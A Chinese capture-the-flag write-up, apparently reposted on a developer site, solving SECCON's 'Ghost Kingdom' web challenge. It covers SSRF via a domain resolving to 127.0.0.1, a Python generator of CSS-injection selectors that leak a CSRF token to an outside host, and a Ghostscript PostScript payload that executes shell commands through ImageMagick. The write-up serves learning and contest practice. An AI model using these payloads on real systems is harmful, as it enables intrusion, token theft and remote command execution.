内容简介:题目链接#流程分析打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。
题目链接 http://ghostkingdom.pwn.seccon.jp/FLAG/
#流程分析
打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。
登陆之后有3个基本的功能。
Message to admin Take a screenshot Upload image * Only for users logged in from the local network
先看一下每个功能的作用。
Message to admin
可以给admin发送消息,有两种模式,但是本质上是一样的只是多了css的渲染。我们直接看看Emergency方式。
url:http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3C%3E&action=msgadm2
其中base64解码之后,被输出到了\
<style>span{background-color:red;color:yellow}</style>
这里想通过引入<>括号,来进行xss,但是可惜的是直接被转义了,那这样的化我们只能通过 span{background-image:url(url)} 来发送一个get请求,但是这里在做题的时候把这个payload发送给admin的化在vps上面是收不到请求的,看了writeup才知道Send to admin 功能是无效的 。
Take a screenshot
访问一个的url,并截屏,而且是解析js的。很明显这里是存在ssrf的。尝试访问一下 http://127.0.0.1/,可以看到还是做了过滤的。
那我们把一个域名解析到127.0.0.1试试,我这里用的是t.mt1024.cn。成功的绕过了防护。那我们用之前的get登陆的方式尝试登陆一下。可以看到是有upload功能的。那现在的问题也就是我们要怎么伪造成localhost’登陆。
http://ghostkingdom.pwn.seccon.jp/?url=http%3a%2f%2ft.mt1024.cn%2f%2f%3fuser%3dmt1234567890%26pass%3dmt1234567890a%26action%3dlogin&wd=ip&action=sshot2
css injection
但是我们可以发现,我们得cookie和发送admin信息的csrf token是相同的。那这样的化我们可以用 css injection 来获取csrf token的值从而伪造我们是locahost登陆的。(其实这里我自己也有点搞不懂了,比赛的时候
这里直接借用一下大佬的payload:
import base64
def getBase64(s):
z = []
for i in '0123456789abcdef':
st = s + i
z.append('input[value^="{}"] {{background: url(http://sevice/?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))
def formatURL(s):
return "http://0.0.0.0/?css={}&action=msgadm2".format(s)
print formatURL(getBase64(''))
然后我们在用之前的get登陆,然后用css去注入我们的cookie。(但是这里我自己也有点搞不懂,做题的时候也登陆了账号去在localhost注册cookie,但是访问upload的时候还是提示没有登陆,就以为是30s的限制别人把自己的cookie挤掉了,但是访问send message的时候就可以了。而且把自己本地的cookie清除掉了之后,localhost的cookie也掉了,或许只是争对payload将两边的cookie做了一个关系把。)
最后得到cookie:8dc4811759c90887a1f2d6
ghostscript命令执行
得到cookie之后我们就可以看到上传的页面了,我们直接上传一张不正常的图片。然后将其Convert to GIF format。
可以根据报错信息,搜到使用的ImageMagick进行的图片转换。然后用网上的[payload][ https://bbs.ichunqiu.com/thread-44747-1-1.html]一把唆就完事了。
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Alone Together
Sherry Turkle / Basic Books / 2011-1-11 / USD 28.95
Consider Facebookit’s human contact, only easier to engage with and easier to avoid. Developing technology promises closeness. Sometimes it delivers, but much of our modern life leaves us less connect......一起来看看 《Alone Together》 这本书的介绍吧!
Base64 编码/解码
Base64 编码/解码
XML、JSON 在线转换
在线XML、JSON转换工具